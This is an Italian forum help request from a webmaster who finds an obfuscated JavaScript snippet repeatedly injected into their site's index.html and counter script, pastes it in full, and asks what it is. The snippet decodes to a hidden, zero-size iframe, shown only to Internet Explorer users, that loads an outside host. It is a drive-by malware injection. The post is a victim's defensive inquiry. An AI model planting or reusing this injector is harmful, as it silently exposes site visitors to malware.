Ciao a tutti,
da un po di tempo mi succede di trovare uno script aggiunto al mio index.html o addirittura al .js del contatore di accessi; anzi su diversi index.html perchè ho diversi siti.
L'ho cancellato ma sembra riapparire in qualche caso.
Immagino che per trovare la soluzione devo prima capire di cosa si tratta, ma non so come decifrarlo, provo a postarlo nel caso qualcuno sappia come fare:
codice:<SCRIPT LANGUAGE="JavaScript"> <!-- function Decode(){var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!32!116!121!112!101!61!34!116!101!120!116!47! 106!97!118!97!115!99!114!105!112!116!34!62!105!102!32!40!110!97!118!105!103!97!116!111!114!46!117!115!101!114!65!103!101! 110!116!46!105!110!100!101!120!79!102!40!39!77!83!73!69!39!41!32!33!61!32!45!49!41!32!123!32!100!111!99!117!109!101!110!116! 46!119!114!105!116!101!108!110!40!39!60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!115!97!108!101! 118!105!115!105!116!111!114!46!110!101!116!47!105!110!46!99!103!105!63!50!34!32!102!114!97!109!101!98!111!114!100!101!114! 61!48!32!98!111!114!100!101!114!61!48!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!115!116!121!108!101! 61!34!112!111!115!105!116!105!111!110!58!32!97!98!115!111!108!117!116!101!59!32!118!105!115!105!98!105!108!105!116!121!58! 32!104!105!100!100!101!110!34!62!60!47!105!102!114!97!109!101!62!39!41!59!32!125!60!47!115!99!114!105!112!116! 62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode (temp);temp="";}document.write(out);} //--> </SCRIPT><SCRIPT LANGUAGE="JavaScript"> <!-- Decode(); //--> </SCRIPT>
Tempo fa, mi si deve essere installato del malware che sfruttava una falla di Acrobat, poi ho applicato una patch ma non è detto che abbia eliminato il malware gia presente, come non è detto che le due cose siano collegate e che ora si tratti dello stesso script.
Help!
Rispondi quotando
